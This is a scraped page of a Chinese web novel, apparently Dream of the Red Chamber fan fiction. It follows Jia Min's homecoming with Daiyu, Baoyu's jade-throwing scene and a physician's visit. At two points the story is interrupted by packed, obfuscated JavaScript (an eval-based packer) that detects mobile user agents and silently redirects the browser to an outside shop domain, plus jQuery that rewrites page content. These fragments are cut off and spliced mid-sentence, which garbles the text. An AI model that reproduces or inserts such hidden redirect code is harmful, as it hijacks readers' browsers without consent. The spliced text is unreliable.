d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566039|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是笑道:“我刚刚才想要说呢这林妹妹一身的气派竟不像是老祖宗的外孙女竟是个嫡亲的孙女原本老祖宗就总是惦记着姑母再有这样一个妹妹以后啊咱们这些人愈发要不入老祖宗的眼了!” “你个猴儿我几曾不疼你了要不然怎么千方百计要将你留在家里!”贾史氏笑呵呵说道。 贾敏瞧着王熙凤伶俐讨喜的模样也是高兴 这边大家正高兴呢贾宝玉又凑到林黛玉面前问道:“妹妹可有玉没有?” 林黛玉虽说听了贾敏说过的关于贾宝玉的话但也不清楚他的秉性她看了一眼贾宝玉面前挂着的那玉便说道:“我没有这个想来这玉是个罕有的东西哪里是人人都有的!” 这话一说知道贾宝玉性子的人都心道坏了贾史氏还没来得及说话贾宝玉就从项圈上摘下那块通灵宝玉狠命往地上一摔哭道:“什么劳什子家里姐妹没有好容易来了个钟灵毓秀的妹妹也是没有我还要这个做什么!”身边人连忙去捡通灵宝玉对着贾宝玉又哄又骗。 贾敏都傻了看着贾宝玉这般一时都说不出话来一边植哥儿被吓着了竟是大哭起来贾敏连忙去哄一时间都开始怀疑自己回来到底是对是错了! 一边贾史氏也没想到会遇上这事这会儿贾宝玉摔玉还没变成常态呢!一时间也顾不得女儿外孙那边先搂着贾宝玉说道:“你妹妹原也有的只是这次进京只留了你姑父一个人在扬州怕你姑父想念便留在你姑父那里权作个念想!” 一边贾敏已经火了这贾宝玉也不算小了竟是这般荒诞无理这家里怎么教养的母亲不说教训竟还要撒谎哄骗这是什么道理。 林黛玉也是一副不知所措的模样瞧着外祖母哄贾宝玉母亲哄弟弟自己孤零零站在那里一时间也有些忍不住要哭了。 王熙凤看见不好忙拉着林黛玉压低了声音说道:“宝兄弟就是家里的混世魔王遇上哪个姐妹都要问两句并非单单问你你别跟他一块计较!”她没说的是以前都是家里一起长 大的女孩子便是问了也没到摔玉的地步。 黛玉心下略安贾敏也哄好了植哥儿看着黛玉这般也赶紧过来安抚:“玉儿别怕妈肯定给你个交代!” 黛玉看着贾敏点了点头握住了贾敏的手贾敏感觉黛玉手心有些潮热知道女儿是真被吓住了。 那边贾史氏等人也已经将贾宝玉哄好了倒是王氏这会儿看着不声不响心里已经在咬牙切齿当初贾敏就跟自己这个嫂子作对结果生了个女儿也是个讨债的一来就闹得宝玉摔玉简直是冤家对头。 也就是上面大的几个都不在要不然就贾宝玉这个样子贾珠头一个都要教训一顿。 贾宝玉也是个伶俐人在什么人面前可以撒泼什么人面前只能装鹌鹑那是清清楚楚今儿个来个新妹妹其实他也是在测试自己在家里的地位呢! 当然他这也就是本能的举动倒并非存心的这会儿已经信了贾史氏的话老老实实将通灵宝玉重新戴回项圈上然后又去给贾敏和林黛玉道歉。 贾敏也不好真的跟孩子计较也不好跟贾史氏抱怨只是对着王氏说道:“我瞧宝玉也不小了如今念的什么书跟的什么先生?” 王氏顿时就有些尴尬贾宝玉不喜欢读书如今差不多也就是刚完成开蒙的程度比当年的贾珠贾瑚差远了。贾史氏又护着他自个也会撒娇卖痴如今只是跟着个老秀才读书。 贾敏见王氏不说便说道:“当日珠哥儿到我们那里如海还说呢珠哥儿是个读书种子人也勤奋好学后来听母亲写信说宝玉论起资质比起珠哥儿更胜一筹如今怎么着都该读了《四书》了吧!” 王氏只得说道:“妹妹也知道我的我也不识得几个字宝玉读书的事情也是老爷那边管着再不济还有老太太呢!”意思就是贾宝玉不是养在她身边便是他不成器那也是贾史氏和贾政的锅。 贾敏便看向了贾史氏贾史氏笑道:“家里瑚哥儿珠哥儿已经够上进了宝玉这边人还小生得也弱 贾敏叹道:“这惯子如杀子宝玉是二哥的次子更是应该读书上进才是!”可不是嘛以后这府里爵位是贾瑚的二房的财产哪怕朝廷律令家产不论嫡庶诸子均分但是 实际操作过程中,嫡长子一个人就能占据五成甚至是七成,像是贾宝玉这样的次子,能分多少?如今府里头没有分家,他勉强算是国公府的小公子,等以后分家了,难不成还指望着哥哥嫂子锦衣玉食地养着他不成! 王氏嗫嚅了一下,没好意思说,宝玉是个有造化的,不读书也没什么。上个在他们嘴里有造化的是元春,如今还在瑜太妃宫里做女官呢,还不知道什么时候能出头! 贾史氏见贾敏不依不饶,忙说道:“宝玉的事情,我心里有数! 贾敏一看,就知道贾宝玉这样混下去,迟早也是个坐吃山空的废物点心,当下也懒得再计较了,干脆说道:“母亲有数就好,我也就是一时多嘴,二哥最是看中子孙读书的人,哪里会不在意孩子读书的事情! 这话一说,贾敏眼睛余光就看到贾宝玉哆嗦了两下,心里便明白贾宝玉命门在哪儿。只是自己还要在娘家住着,自个亲妈宠着孙子,自己要是跑到二哥那里说嘴,亲妈知道了,难免生气,但是,谁说这事要自己亲自出手的呢? 作者有话要说 开学了,事情特别多,而且孩子在老家待了一个暑假,回来出现了明显的分离焦虑,上哪儿都盯着,这几天是半个字都没码成,今天更新晚了,这周可能都会更新时间不稳定,尽量保证不请假! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 188 章 爱哥哥,平日里见... 第188章爱哥哥,平日里见 贾敏带着孩子回来省亲,自然贾史氏不能连地方都不安排,王氏倒是想要拖着,但张氏那边早就跟贾史氏说了,将贾敏还在娘家时候住着的樨露院给收拾了出来。这院子里种着两株丹桂,如今正是盛放的时候,还未进门,就能闻到一股子甜香。 因此,说了一会子话,眼看着太医都要来了,张氏忙说道:“妹妹和外甥外甥女一路而来,也是疲惫,不如先去休息一下,等一会儿再来老太太这里请安!” 贾史氏一看贾敏果然面上略有疲色,不免又心疼起来,责怪道:“你这丫头,在亲娘这里还要什么强,要不是你嫂子说,我都没看出来!你们快去休息,正好一会儿太医也要来了,给你们都把个平安脉!” 贾敏笑道:“我都几年没见母亲了,想多跟母亲说会子话!” “都做母亲的人了,还这么不知轻重!”贾史氏嗔道,“你回来省亲,以后日子长着呢,哪里还差这一时半刻的!” 贾敏带来的下人已经先带着行李去了樨露院,又有贾家的下人帮忙,等着贾敏带着一双儿女过去的时候,一切都已经铺陈妥当。 贾敏这会儿也有些累,尤其看着一双儿女心情都有些不好的模样,愈发不高兴起来。 果然这出嫁了跟在家就是不一样,沾了一个外字,就是不如亲孙子。 贾敏见女儿神情恹恹,还是安慰道:“此事你也没错,不必这般,母亲说了,回头定然给你出气,定然不会食言!” 黛玉有些郁郁:“外祖母是不喜欢我吗?” 贾敏摇了摇头:“怎么会,你出生,百日,周岁,你外祖母不知道给你送了多少好东西,真要是不喜欢你,哪里会这样!只是你那表哥一直养在她膝下,一时更亲近一些!你要是在这里住着不高兴,咱们林家在京城也有宅子,回头搬过去便是了!” 听到贾敏连这话都说出来了,黛玉顿时松了口气,便是一边还有些懵懂的植哥儿也露出了笑容。 说话间,太医来了。 来的是何太医,何太医因着当初给徒嘉泽调理,叫他从一个天生不足的病弱孩子变成如今与常人无异的模样,自然名声是越来越大,各家但凡有小儿需要调理身体 的就喜欢找他。 林如海在江南的事情圣上心知肚明贾敏带着孩子回来的事情贾赦也是跟圣上说了的。 因此知道是给贾敏的孩子请平安脉圣上就早早叮嘱了太医院叫擅长调理小儿先天不足的何太医过去。 贾敏也是听说过何太医名声的一听他的名字当下便是心中一动示意身边的丫头准备一等的银封又恭维了何太医一回然后便等着何太医给两个孩子请脉。 何太医来之前还以为是多大的毛病等到给黛玉和植哥儿分别把了脉之后便松了口气。 贾敏见何太医神情又忙叫人奉茶口中问道:“不知我家这双儿女情况如何还请何太医明言!” 何太医也没有卖关子直接说道:“林夫人不必心焦女公子其实是天生心脉有些不足之前又常吃药败坏了脾胃 贾敏简直是喜出望外儿子出生的时候还算康健女儿明明没有早产生下来却是一副先天不足的模样之后吃药比吃饭都多前两年还有个赖头和尚跑上门来说什么她这个病是好不了的要化了她出家那会儿正是江南那边打拐子的时候林如海疑心那和尚是拐子便将人给赶走了结果那和尚也不生气还说什么既然舍不得她出家那就得从此以后总不许见哭声除父母之外凡有外姓亲友之人一概不见方可平安了此一世。 这言语荒唐林如海素来觉得子不语怪力乱神自然是不信的。真要是不得见外姓亲友难不成以后自家女儿只能在娘家枯守一生连婚嫁都不能了吗? 只是黛玉真的是一直体质虚弱遇上换季气温变化就要病上一场稍微有点受凉便要咳嗽上好些时日各种药吃了几箩筐只吃得败了胃口十顿饭都吃不到五顿瘦得风吹就要倒的模样叫林如海贾敏夫妇二人都是忧心不已。 不过贾敏也没光顾 着女儿,不顾儿子,儿子之前也是受过不少罪,虽说贾赦专门找了个大夫送过去,但是这几年也是小病不断,好好的孩子,如今也弄得跟他姐姐一样,弱不禁风,委实叫人忧心。 贾敏这边一开口,何太医也是说道:“至于小公子,却是因为之前饮食不洁,下泄不止,损了正气,以致体内阴阳不调,这也好办,下官先开一道扶正祛邪的方子,小公子略吃两剂,之后还是以食补为要,等过个两日,下官再来,也给小公子重新把脉,另外拟了食方!还有,如牛乳羊乳之类,小公子暂时也不要吃了,以免又引起溏泻。 贾敏一愣,因为之前奶娘使坏,植哥儿之后就不肯再吃奶了,家里只得给他煮牛乳羊乳吃,用牛乳羊乳蒸蛋,或者是做了酥酪,贾敏在娘家的时候喜欢吃一些奶油果子,这个习惯也带到了林家,植哥儿也喜欢得很,哪知道竟是这个,叫他常有溏泻呢?之前的大夫,也没说啊! 这年头大家也不知道什么叫做乳糖不耐受,家里其他人也没这个毛病,之前的大夫一直是觉得植哥儿是之前坏了脾胃,不知道换了多少方子,甚至连水土不服都想过,哪知道竟然可能是牛乳羊乳的问题呢? 贾敏有些羞愧,忙说道:“多谢何太医指教,要不然我们还不知道这个呢! 何太医忙说道:“下官也是偶然才发现的,有些孩子,甚至是成人,喝人乳还好,若是牛乳羊乳,却是难以克化,以至于湿热内结或是脾胃虚寒,常有矢气便溏之事,因此多提了一嘴罢了! “那还请何太医先开方吧!贾敏又谢了一回,说道。 何太医从自己的药箱里头取了纸笔,很快就写了一些食方和一个药方出来,加上一个忌口的单子,双手递给贾敏,贾敏接过,她也算是久病成医,看孩子的药方多了,自己也研究了一些本草医书,也懂得一些医理药理,这会儿粗粗一看,就见何太医的方子颇为简洁,并无太多药材,也无什么大补之药或是什么奇怪的药引子,反而都是寻常之物,却愈发信服起来,觉得所谓大道至简,这才是国手,当下一边吩咐人去抓药煎药,然后又亲自将早就准备的银封奉上:“劳烦何太医,小儿小女的事情,之后还得有劳! 何太医接了银封,稍微一掂量,就知道份量,心中一喜,嘴里却是谦虚道:“这是下 官应有之义,要是小公子与女公子有需要的地方,林夫人叫人去太医院值房那边问一声便是,若是下官不在,那就去柳条巷那边,巷口打听一下就知道下官家里何处了!” 何太医这几年可是赚了不少,将原本租的房子都退了,另买了一个宅子,也带着家里几个孩子一起学医,准备等到了年纪就先带到太医院做学徒,日后生计也稳了。他如今专攻小儿调理,不用掺和到什么乱七八糟的事情里头,再安全不过,而且花得起这个钱的,一般出手也大方,自家几个孩子能学到自己这一手,便是以后改朝换代,也不怕受到影响。 送走了何太医,贾敏又看了一下食方,发现跟贾家的饮食习惯多有不同,正想着找贾史氏开口在樨露院设个小厨房的事情,就听人传话,说是张氏来了。 张氏是过来看贾敏这边安置的情况,还有两个孩子身体状况的,进门略寒暄了两句,便问道:“刚刚听说何太医刚走,他怎么说?” 贾敏将何太医的话说了,张氏不免笑道:“何太医最是擅长这个,既然他开了口,那就是八九不离十!既是如此,回头就叫人在妹妹你这里设个小厨房,弟妹可带了灶上的人,若是没有,就在府里头挑几个过来上灶!” 贾敏笑道:“那就劳烦嫂子安排!”她也没提什么小厨房采买的事情,她回来省亲,还要自个采买食材,那不是打娘家的脸嘛! 张氏看了一眼食方还有忌口的单子,立马吩咐身边跟着的丫头抄录了一份,说道:“将这个送到厨房那边去,叫厨房那边先做几道出来,这里头忌口的东西你也叫人盯着点,别叫他们躲懒,顺手就放进去了!”贾敏他们今儿才到,肯定要去荣庆堂吃饭的,便是之后,贾史氏也会经常留他们吃饭,所以,大厨房那边,也得看着情况,专门给两个孩子准备饭菜。 那丫头忙答应了下来,快速将单子抄录了一份,就揣在怀里往厨房去了。 “又劳烦嫂子想在前头!”贾敏也不跟张氏客气,等着下头煎了药过来,先打发植哥儿吃药,又叫黛玉带着植哥儿下去休息,然后就打听起宝玉的事,“二嫂家的宝玉以前我就听说过,原本听母亲的意思,是个乖巧听话的孩子,如今看着,性子怎地竟是有些任性?” 张氏想了想,说道:“他就是被惯坏了,老太太将他 当做命根子一样从来不肯让他受了半点委屈哪怕是二叔那边想要教训几句眉头还没竖起来呢老太太就先护上了!还有就是珠哥儿本来也出息因此二叔那边对宝玉也是睁只眼闭只眼至于你二嫂她如今说话又有多少用处呢?” 贾敏听得不由摇头虽说孩子衔玉而诞听着是个有来历的但是就算真的是神仙转世渡劫谁知道是个什么章程人家神仙弄上一堆烂摊子体会一下人间疾苦回头拍拍屁 股继续位列仙班去了家里头怎么办? 宝玉横竖不是大房的孩子大房如今跟二房也就是保持着面子上的和气罢了自然懒得多管。二房这边却仗着老太太也这般纵容宝玉日后养出个奢侈顽劣的脾性还不知道会是什么样子呢! 这话贾敏没法跟贾史氏说说了还当她这个做姑母的看宝玉不顺眼呢当然的确不怎么顺眼就是了这才一上门就玩什么摔玉那一套搞得像是给了自家孩子一个下马威一样贾敏又不是什么被人打了左脸还把右脸贴上去的性子她不能跟个孩子计较难道还不能跟大人计较? 贾敏心里盘算了一下又问了一下如今家里什么情况说到贾瑚和贾珠的婚事之后张氏就摇了摇头有些无奈地说道:“按理说长幼有序瑚哥儿娶的还是人家王府郡主珠哥儿的婚事定在瑚哥儿后头才是理所应当结果他们倒是先给珠哥儿将婚期定了下来 贾敏对贾珠印象还算是不错笑道:“莫不是人家女方怕珠哥儿这么个乘龙快婿跑了?” 张氏听贾敏这般说也是一笑说道:“怕不真是如此!也是珠哥儿的运道能娶上国子监祭酒家的千金!” 贾敏之前也从信里面看到了这事也是觉得这是贾珠的运气琢磨着这提前婚约说不定还是二哥他们怕李家那边反悔。 结果就听张氏说道:“你二嫂对这婚事其实有点不满意李家清贵却无多少浮财听说如今叫家里几个兄弟帮着抄书作为嫁妆!能叫李家当做嫁妆的肯定都是市面上不怎么见得着的换个人家高兴还来不及结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583166|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果二弟妹那边就觉得李家穷酸还在老太太那里抱怨过几次!” 贾敏听得有些无语李家肯抄书做嫁妆虽说这不像是隋唐之前一样各家的 书籍都是家学但是李家终究好几代的书香门第他们家的藏书的确都是能传家的东西愿意拿这个做陪嫁已经算是很有诚意了 张氏跟贾敏说了这些之后也是无奈:“好多事情我们其实不好说一说起来就像是我们见不得他们二房好一样!所以也只好听之任之也就是二弟妹如今不怎么出去交际要不然的话她那些话传出去李家那边还不知道是个什么想法呢!” “母亲那边就没说什么?”贾敏想了想问道。 “老太太倒是挺看好李家姑娘只说咱们这样的人家不缺一副嫁妆能给凤丫头准备就不能给珠哥儿媳妇准备?”在这一点上张氏倒是没什么好说的贾珠要是能出息二房以后也有个依靠不至于反倒是成了大房的拖累因此他们在知道这门亲事定下来之后态度都是比较积极的。只是王氏性子偏执总觉得大房见不得二房好赞同这门婚事就是觉得李家不能给贾珠什么助力。 王氏眼界太低根本不知道一个国子监祭酒的含金量真要是看不惯二房大房把这门婚事搅黄了岂不是更好? “珠哥儿也是懂事的私底下听说劝了他母亲好几次只是妹妹也知道你二嫂的性子只怕……”张氏说到这里都在为还没进门的李家姑娘可惜如今王氏就觉得贾珠还没成婚呢就将妻子放在母亲之上等成婚了还了得。有这么个婆婆李家姑娘进门可有的受了! 张氏不太关心贾珠屋里是个什么情况要不然她就知道贾珠身边多出了两个生得娇俏性子或温柔体贴或爽直大方的丫头或者说名义上是丫头实际上是通房。 贾珠又不是坐怀不乱的柳下惠也没有为未来妻子守身如玉的想法或者说这年头的贵族子弟都差不多婚前有一两个贴身贴心人那是常规操作只要不闹出庶长子出来女方那边便是知道了也不会当回事要不然就显得女方嫉妒。因此贾珠私底下通过李家几个大舅哥跟未来妻子鱼雁传书并不耽误他从东山学院回来跟那两个通房卿卿我我。 贾敏嫁给林如海的时候头上也是有婆婆的只是那时候贾家势头正盛林母便是再不识大体也不可能冒着得罪贾家的风险来拿捏儿媳妇因 此,贾敏真没体会过被婆婆磋磨的苦。但是,自家亲妈拿捏儿媳妇的手段,贾敏却是亲眼见过的,王氏多年媳妇熬成婆,儿子还没成婚就一肚子怨气,还不定要给儿媳妇多少颜色看! 姑嫂二人说了一会子话,眼看着快到午时了,张氏说到:“老太太那里应该要摆饭了,叫了外甥外甥女,一块儿过去吧!你大哥二哥都在衙门里头,等晚间下了衙再一起说话! 贾敏也站起身来,叹道:“大哥如今也上进了,父亲要是在,不定有多欣慰呢! 张氏也是叹道:“可不正是如此,我刚开始知道的时候,也有些不相信呢! 说话间,黛玉已经牵着植哥儿的手从里间出来了。 两人休息了一会儿,精神好了一些,这会儿也都换了一身衣服,黛玉上身穿着银红绣折枝玉兰袄,下面系着撒花红绫裙,腰间系了一条柳叶青的宫绦,头上因为才留头,所以只戴了一支小凤钗,又点缀了两支小簪,但看起来并不显得素淡,反倒是另一一股子气度。植哥儿也是穿着大红短袄,下面穿着松花色裤子,脖子上还戴上了一个赤金八宝项圈。 黛玉也就罢了,原本植哥儿在家的时候很少穿大红大绿的衣服,但是之前瞧见贾宝玉的打扮,比两个侄女看起来还显眼一些,贾敏就觉得,不能叫自家儿子在贾宝玉那里漏了怯,因此特意吩咐丫头给孩子都打扮鲜亮点。 植哥儿对脖子上的项圈有些不习惯,拽了几下也就放弃了,张氏瞧见,不免笑道:“哎呦,这是谁家的金童玉女! 贾敏摆摆手,道:“别人也就罢了,嫂子也这般,瑚哥儿小时候我也记得的,比植哥儿可俊俏多了!之前也见了嫂子家的玫姐儿,也是个灵秀的孩子,我羡慕还来不及呢,如今嫂子倒来说我家的! 张氏忙说道:“我就说了一句,妹妹就这么多话等着,罢了罢了,可不敢再说了! 又对着两个孩子说道:“好孩子,大舅母早就给你们准备好了见面礼,回头就给你们送过来!之前在荣庆堂那边,其实原本就该将见面礼给了的,只是贾宝玉闹了那么一场,大家都有些尴尬,只得先让贾敏母子几个先回来休息,这见面礼只得延后了。 贾敏笑道:“我也给几个孩子都备了表礼呢,刚刚才叫人收拾出来,等用了饭,就叫人各处送去! 黛玉带着植哥儿先谢了张氏,听着两人乖乖巧巧地叫自己大舅母,张氏愈发熨帖起来,这样的好孩子,谁不喜欢呢! 说话间,一行人便出了樨露院,一起往荣庆堂那边而去。 而荣庆堂那边,贾宝玉正跟史湘云凑在一起玩。 史湘云襁褓里头就被送到了荣国府,跟贾宝玉一起长大,两人关系很是不寻常,她也是个有点早熟的性子,不免对着贾宝玉调笑道:“爱哥哥,平日里见客,你也算是斯文有礼,今儿个怎么见到个林姐姐,竟是开始发痴了? 贾宝玉也没将之前的事情当回事,只是笑道:“我瞧着你林姐姐,就跟自家的姐妹一般,怎么能叫见客? 作者有话要说 第 189 章 贾史氏正好听见两... 第189章贾史氏正好听见两 贾史氏正好听见两人说话,不免笑道:“正该如此呢,你林妹妹和林弟弟跟自家兄弟姐妹都是一样的!” 贾宝玉嘴上称是,其实更多的想着的还是黛玉,他是真的觉得黛玉极为眼熟,很想要亲近一二,至于植哥儿,他这会儿几乎就没什么印象。这会儿心里还在后悔,当时一时孟浪,却是将林妹妹吓了一跳,该好好赔罪才是。 想到这里,贾宝玉便跳了起来:“林妹妹一会儿就要过来,我得先换身衣服才行!” 史湘云瞧见了,不免撇了撇嘴,觉得人不如新,自己被冷落了,不免将手里的九连环往炕桌上一丢,生起气来。 旁边一个看起来温柔可亲的丫头忙过来安抚,史湘云抱怨道:“珍珠姐姐,你瞧瞧爱哥哥,来了个新妹妹,就忘了旧妹妹了!” 贾史氏在一边笑骂道:“什么新妹妹旧妹妹的,你这丫头,竟会胡说!你林姐姐比你大几个月,你们血脉相近,正该好好亲香呢!” 史湘云也是可怜,其母生了癔症,一直觉得是史湘云占了她儿子的位置,以至于她没能生出个儿子来继承爵位,因此,每每看到史湘云,便要发疯,只能将她养在荣国府这边。 贾史氏也是心疼这个侄孙女,她没了父亲,母亲又靠不住,若是外头知道其母有癔症,只怕对史湘云更有影响,她自己年纪也大了,不知道还能活多久,因此想要给史湘云找个合适的靠山。王氏对史湘云也看不上,觉得史湘云晦气,大房那边觉得当初袭爵的事情上,史家偏帮二房,虽说不至于迁怒到史湘云头上,但是要大房做史湘云的靠山,那是绝无可能。 相比较来说,贾敏其实是更好的选择,结果史湘云就因为贾宝玉想要多亲近一下黛玉就发脾气!贾史氏不免有些无奈起来,好在小孩子脾气,往往说来就来,说走就走,如今一时有些不满,但贾敏这次归省,住个一年半载都是寻常,时间长了,互相了解了,感情自然也就培养出来了。 史湘云作为史家的女儿,可以抱怨贾宝玉亲近黛玉,忽视自己,反倒是一边作为正经妹妹的探春,却是一声不吭。 探春远没有原著里面说的那般顾盼神飞,主要是如今缺少对照组,原著里头迎春是 二木头惜春又是襁褓里头就被送到了荣国府年纪也小又被下头养成了个清冷的性子这才显得探春神采飞扬但这辈子 贾史氏对探春肯定没有对当年元春那么上心探春也不如史湘云一样活泼灵动如此一来她反倒是变成了对照组虽说不至于沉默但是也并不是什么喜欢露脸的性子。 贾史氏瞧了一眼笑道:“你们两个丫头也去换衣裳吧!” 珍珠听了便牵着史湘云的手去里间换衣裳而探春也跟着嬷嬷一块下去了。她们两个如今住在荣庆堂后头贾宝玉一直还住在贾史氏的碧纱橱里。 张氏之前去见贾敏母子并没有带着玫姐儿因此玫姐儿反倒是落后了一步才过来贾敏对于家里的情况不了解看了之后不免又暗自叹了口气觉得大房二房隔阂太深连女儿也不放在一起教养。 张氏瞧着贾敏的神情变化便解释道:“之前府里头请了个先生专门教几个丫头读书的今儿你们过来给她们放了假因此才各自回屋去了!” 想了想她还是提醒道:“宝玉如今还住在老太太屋里玫姐儿如今年纪也不小了便是跟自家兄弟也该讲究个男女大防这才叫她每每请了安就回去!” 贾敏一愣虽说之前说宝玉养在内宅她还以为宝玉是在荣庆堂里弄个小院住着哪知道就住在老太太屋里头这未免有些太不讲究了些。 张氏也不再多说横竖她也不想占贾宝玉这个有来历的光自然不会叫玫姐儿跟贾宝玉有多少接触。贾宝玉对上女孩子素来甜言蜜语做低伏小便是对下面丫头也是一样这虽说听起来不是什么坏事姐妹们与他在一起总体上是快活的。但人生在世俗之中难免要受种种约束为了一时的快活损了后半辈子的福气岂不是得不偿失。 贾敏算一算贾宝玉的年纪也是暗自摇头看样子得叫黛玉也离宝玉远一点才好。 他们一行到荣庆堂的时候王氏已经先到了见他们进来略说了几句话便吩咐下人在花厅摆饭。 张氏难得过来但还是要尽儿媳妇的心意跟王氏一起帮着布菜传饭。 贾敏便 是出嫁了回来也是娇客因此坐在贾史氏右手边首位黛玉和植哥儿分别坐在她的下首贾史氏左手边分别坐着玫姐儿贾宝玉史湘云和探春。 张氏之前已经吩咐过因此餐桌上就多了一样看起来比较清淡的汤菜大家竟是吃得也比较适口只是餐桌上不好说话只得先慢慢吃着。 等着吃过饭用茶水漱了口大家移步到旁边的暖阁贾宝玉才说道:“今儿那几道菜是姑母喜欢的吗?怎么之前不曾见厨房做过?” 贾敏解释道:“是之前请何太医过来把了脉何太医给了几个食方嫂子便叫人抄了送厨房去了那几道菜便是了!” 王氏皱眉说道:“这难不成是药膳?这能随便吃的吗?” 张氏在一边笑道:“哪里是什么药膳真要是这个我也不敢做这个主就是寻常的食方 王氏还有些不乐意:“这身子不好配点药吃就行折腾这些做什么!” 听得王氏这般说贾敏已经有些不乐意了她转头看向贾史氏笑道:“嫂子说的也是也不好为了两个孩子改了府里的饮食习惯因此我想着在我那樨露院设个小厨房母亲觉得呢?” 贾史氏忙说道:“一个小厨房有什么打紧的孩子身体要紧!大夫既然说了不用吃药只要饮食调理那不是更好?有什么不好张罗的食材只管跟我说我叫人外头寻去!” 贾敏笑道:“还是母亲疼孩子母亲放心吧真要有什么找不着的自然得麻烦母亲才是!” 贾史氏就喜欢贾敏不跟她见外等着下头送了茶过来贾敏便说道:“黛玉和植哥儿脾胃弱这饭后不用茶!” 她理所当然地吩咐下头也就理所当然地答应下来没人会说什么客随主便贾史氏也说道:“正该如此什么也不如孩子身体重要等着身体养好了做什么不成呢?” 贾宝玉这会儿已经按捺不住了忙不迭说道:“林妹妹我那边新得了一套玲珑球咱们一起来玩啊!” 黛玉还没有开口史湘云就先说话了:“爱哥哥你就刚请林姐姐我们不能玩吗?” 贾宝玉有些尴尬:“都行都行一起来玩吧!” 黛玉这会儿看着宝玉倒也没了之前的 无措反倒是也生出了几分亲近来不过她还是先看向了贾敏。 贾敏见黛玉竟是并无抗拒之意倒也纳罕只是想着黛玉之前身体不好林家在扬州那边处境也尴尬竟是没有认识什么小姐妹如今到了娘家这边跟表姐妹们亲近一些也没什么坏处偏生里头还夹了个贾宝玉。她犹豫一下还是点了点头。 宝玉一见顿时欢呼一声忙不迭叫道:“媚人姐姐快把那玲珑球拿过来!” 媚人听了很快就从暖阁那里捧了一个匣子过来里面竟是摆放着六个象牙玲珑球贾宝玉乐呵呵地分了下去正好一人一个叫大家拿了金簪挑动看谁的玲珑球内层转的时间长。 贾敏只是略微一看就知道这一套玲珑球都是上等的象牙雕成却拿来给个六七岁的孩子当玩具未免太奢靡了些。 黛玉和植哥儿也有玲珑球却是玉雕的论起繁复程度比牙雕可差了不少这会儿姐弟二人也来了兴趣凑在一起看着贾宝玉也跟着凑了过来不管自己手里那个了几乎是手舞足蹈地跟黛玉说这里头的图样和层数。 因为贾史氏的偏爱贾宝玉的好东西太多了这也导致他对这些东西根本没什么概念见几个姐妹都喜欢这些便大方地表示每人送一个连植哥儿也跟着沾了光。 贾敏倒也没有叫两个孩子拒绝 贾史氏瞧着也不说什么倒是王氏脸色略微拉了下来只是这本来就是贾史氏给宝玉的算是宝玉的私房他愿意送谁就送谁。 头一次见面宝玉就闹了一场摔玉以至于一开始贾敏就对这个侄子有了偏见等着见了几日之后她也能理解贾史氏为什么喜欢这个孙子了。 贾宝玉这个人只要他愿意就没他讨好不了的人。贾敏生得好看行事也爽利大方又是黛玉的生母也不会管着他读书因此贾宝玉其实是很愿意跟贾敏亲近的甚至还有一种濡慕之心。没办法王氏虽说是生母但在贾宝玉心里其实真有点死鱼眼珠子的感觉对他虽说慈爱但总叫贾宝玉有一种不太自在的感觉。 贾宝玉许多行为倒不是天生存了什么不良的心思他本性还算是纯良无非就是 不太合如今的礼法罢了,但他生得好,是大多数女性都喜欢的模样,性子也伶俐,该顽皮的时候顽皮,该乖巧的时候乖巧,其实还是挺讨人喜欢的,便是张氏,虽说觉得他这个年纪,还住在贾史氏屋里,但对贾宝玉本身并无多少偏见,这种磨人的孩子,只要不是自家的,其实大家真的都乐意宽容一二。 当然,对于贾敏来说,这也是因为林黛玉还没到需要讲究男女大防的年纪,另外就是,贾敏也没想过,屁大点孩子,便真是青梅竹马,就能擦出什么火花来了。 最重要的是,黛玉总算是能交到朋友了! 贾敏到了贾家之后没多久就意识到,贾家这一代子弟居然整体素质还不错,不说贾瑚上次参加乡试考上了举人,哪怕名次靠后,那也是极为难得了,要不是他已经订亲,这会儿在京中婚嫁圈子里只怕已经炙手可热。贾珠虽说没考上,但是按照书院先生的意思,他再苦读个三五年,考上举人的希望也很大。 贾琏虽说不读科举的书,但是人家能跟着钦天监的监正学习,可见也是有天份的,便是家里几个女孩子,一个个也颇为灵秀。玫姐儿算学也是不错,而且年纪虽小,棋艺却颇佳,探春也是个性子颇为坚毅的,年纪虽然小,但居然开始悬腕练字了,这般勤奋,贾宝玉可以羞愧地去以头抢地了!史湘云虽说也是亲戚家的孩子,但是养在贾家,也跟自家孩子无异,这孩子天生的才思敏捷,以前贾敏觉得自家女儿已经颇有捷才,史湘云竟是跟她不相上下。 至于贾宝玉,虽说不喜欢读书,但的确天资不凡,尤其天生有一种难得的灵性,贾敏与林如海成婚多年,深知许多读书人多半只是一味苦读,缺少的就是那一点灵光。只是贾宝玉看似乖巧,但天生有种离经叛道的性子,这样的人,或许在科举上很难出头,但说不定在其他方面就能脱颖而出,成为大家。 这让贾敏颇为欣慰,自从父亲过世之后,两个兄长一个颓废,一个迂腐,家里姻亲也先后出事,以至于外无强援,内无梁柱,如今二哥也就罢了,只能是按部就班混资历,而大哥却是已经振作起来,算是勋贵圈子里头如今难得有实权的,如今家里在外头也能说得上话,下面小一辈又争气,家族竟是有了蒸蒸日上的架势,如此,贾宝玉便是不走科举之路,日后做个离经叛道的名士,也是一桩佳 话。 丈夫在江南那边没有后顾之忧,娘家又有了起来的架势,贾敏也放开了胸怀,便是之前还有些郁气,如今也消散得差不 